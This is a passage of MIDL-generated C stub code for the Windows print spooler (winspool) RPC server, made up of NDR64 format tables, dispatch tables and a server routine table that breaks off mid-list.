(NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/* *JOB_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag40\n};\n\nstatic const __midl_frag37_t __midl_frag37 =\n{ \n/* __MIDL_winspool_0006 */\n    { \n    /* __MIDL_winspool_0006 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag39,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag48,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag61,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag63,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag36_t __midl_frag36 =\n{ \n/* JOB_CONTAINER */\n    { \n    /* JOB_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag37\n        },\n        { \n        /* JOB_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag35_t __midl_frag35 =\n{ \n/* *JOB_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag36\n};\n\nstatic const __midl_frag32_t __midl_frag32 =\n{ \n/* RpcSetJob */\n    { \n    /* RpcSetJob */      /* procedure RpcSetJob */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag406,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobContainer */      /* parameter pJobContainer */\n        &__midl_frag35,\n        { \n        /* pJobContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag403,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag17_t __midl_frag17 =\n{ \n/* RpcOpenPrinter */\n    { \n    /* RpcOpenPrinter */      /* procedure RpcOpenPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag366,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag677,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag366,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* AccessRequired */      /* parameter AccessRequired */\n        &__midl_frag403,\n        { \n        /* AccessRequired */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* RpcEnumPrinters */\n    { \n    /* RpcEnumPrinters */      /* procedure RpcEnumPrinters */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            8 /* 0x8 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag1087,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag366,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag653,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag403,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef winspool_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag17,\n    &__midl_frag32,\n    &__midl_frag78,\n    &__midl_frag90,\n    &__midl_frag105,\n    &__midl_frag407,\n    &__midl_frag167,\n    &__midl_frag423,\n    &__midl_frag185,\n    &__midl_frag626,\n    &__midl_frag302,\n    &__midl_frag315,\n    &__midl_frag329,\n    &__midl_frag337,\n    &__midl_frag347,\n    &__midl_frag363,\n    &__midl_frag377,\n    &__midl_frag391,\n    &__midl_frag394,\n    &__midl_frag404,\n    &__midl_frag407,\n    &__midl_frag410,\n    &__midl_frag669,\n    &__midl_frag423,\n    &__midl_frag434,\n    &__midl_frag438,\n    &__midl_frag452,\n    &__midl_frag463,\n    &__midl_frag469,\n    &__midl_frag473,\n    &__midl_frag916,\n    &__midl_frag496,\n    &__midl_frag509,\n    &__midl_frag515,\n    &__midl_frag528,\n    &__midl_frag542,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag558,\n    &__midl_frag565,\n    &__midl_frag571,\n    &__midl_frag585,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag592,\n    &__midl_frag616,\n    &__midl_frag616,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag626,\n    &__midl_frag642,\n    &__midl_frag648,\n    &__midl_frag668,\n    &__midl_frag668,\n    &__midl_frag669,\n    &__midl_frag1051,\n    &__midl_frag673,\n    &__midl_frag686,\n    &__midl_frag695,\n    &__midl_frag699,\n    &__midl_frag732,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag747,\n    &__midl_frag766,\n    &__midl_frag775,\n    &__midl_frag1051,\n    &__midl_frag783,\n    &__midl_frag809,\n    &__midl_frag819,\n    &__midl_frag826,\n    &__midl_frag916,\n    &__midl_frag853,\n    &__midl_frag853,\n    &__midl_frag853,\n    &__midl_frag854,\n    &__midl_frag867,\n    &__midl_frag883,\n    &__midl_frag897,\n    &__midl_frag909,\n    &__midl_frag916,\n    &__midl_frag1051,\n    &__midl_frag922,\n    &__midl_frag932,\n    &__midl_frag942,\n    &__midl_frag948,\n    &__midl_frag961,\n    &__midl_frag980,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag992,\n    &__midl_frag1003,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1015,\n    &__midl_frag1051,\n    &__midl_frag1030,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1051,\n    &__midl_frag1052,\n    &__midl_frag1060,\n    &__midl_frag1065,\n    &__midl_frag1071,\n    &__midl_frag1079,\n    &__midl_frag1083,\n    &__midl_frag1088\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC winspool_StubDesc = \n    {\n    (void *)& winspool___RpcServerInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    0,\n    RundownRoutines,\n    0,\n    0,\n    0,\n    ms2Drprn__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& winspool_ServerInfo,   /* proxy/server info */\n    &ms2Drprn_ExprDesc\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const RPC_DISPATCH_FUNCTION winspool_NDR64__table[] =\n    {\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    NdrServerCallAll,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE winspool_NDR64__v1_0_DispatchTable = \n    {\n    117,\n    (RPC_DISPATCH_FUNCTION*)winspool_NDR64__table\n    };\n\nstatic const MIDL_SYNTAX_INFO winspool_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&winspool_v1_0_DispatchTable,\n    ms2Drprn__MIDL_ProcFormatString.Format,\n    winspool_FormatStringOffsetTable,\n    ms2Drprn__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    (RPC_DISPATCH_TABLE*)&winspool_NDR64__v1_0_DispatchTable,\n    0 ,\n    (unsigned short *) winspool_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\n\nstatic const SERVER_ROUTINE winspool_ServerRoutineTable[] = \n    {\n    (SERVER_ROUTINE)RpcEnumPrinters,\n    (SERVER_ROUTINE)RpcOpenPrinter,\n    (SERVER_ROUTINE)RpcSetJob,\n    (SERVER_ROUTINE)RpcGetJob,\n    (SERVER_ROUTINE)RpcEnumJobs,\n    (SERVER_ROUTINE)RpcAddPrinter,\n    (SERVER_ROUTINE)RpcDeletePrinter,\n    (SERVER_ROUTINE)RpcSetPrinter,\n    (SERVER_ROUTINE)RpcGetPrinter,\n    (SERVER_ROUTINE)RpcAddPrinterDriver,\n    (SERVER_ROUTINE)RpcEnumPrinterDrivers,\n    (SERVER_ROUTINE)RpcGetPrinterDriver,\n    (SERVER_ROUTINE)RpcGetPrinterDriverDirectory,\n    (SERVER_ROUTINE)RpcDeletePrinterDriver,\n    (SERVER_ROUTINE)RpcAddPrintProcessor,\n    (SERVER_ROUTINE)RpcEnumPrintProcessors,\n    (SERVER_ROUTINE)RpcGetPrintProcessorDirectory,\n    (SERVER_ROUTINE)RpcStartDocPrinter,\n    (SERVER_ROUTINE)RpcStartPagePrinter,\n    (SERVER_ROUTINE)RpcWritePrinter,\n    (SERVER_ROUTINE)RpcEndPagePrinter,\n    (SERVER_ROUTINE)RpcAbortPrinter,\n    (SERVER_ROUTINE)RpcReadPrinter,\n    (SERVER_ROUTINE)RpcEndDocPrinter,\n    (SERVER_ROUTINE)RpcAddJob,\n    (SERVER_ROUTINE)RpcScheduleJob,\n    (SERVER_ROUTINE)RpcGetPrinterData,\n    (SERVER_ROUTINE)RpcSetPrinterData,\n    (SERVER_ROUTINE)RpcWaitForPrinterChange,\n    (SERVER_ROUTINE)RpcClosePrinter,\n    (SERVER_ROUTINE)RpcAddForm,\n    (SERVER_ROUTINE)RpcDeleteForm,\n    (SERVER_ROUTINE)RpcGetForm,\n    (SERVER_ROUTINE)RpcSetForm,\n    (SERVER_ROUTINE)RpcEnumForms,\n    (SERVER_ROUTINE)RpcEnumPorts,\n    (SERVER_ROUTINE)RpcEnumMonitors,\n    (SERVER_ROUTINE)Opnum37NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum38NotUsedOnWire,\n    (SERVER_ROUTINE)RpcDeletePort,\n    (SERVER_ROUTINE)RpcCreatePrinterIC,\n    (SERVER_ROUTINE)RpcPlayGdiScriptOnPrinterIC,\n    (SERVER_ROUTINE)RpcDeletePrinterIC,\n    (SERVER_ROUTINE)Opnum43NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum44NotUsedOnWire,\n    (SERVER_ROUTINE)Opnum45NotUsedOnWire,\n    (SERVER_ROUTINE)RpcAddMonitor,\n    (SERVER_ROUTINE)RpcDeleteMonitor,\n    (SERVER_ROUTINE)RpcDeletePrintProcessor,\n    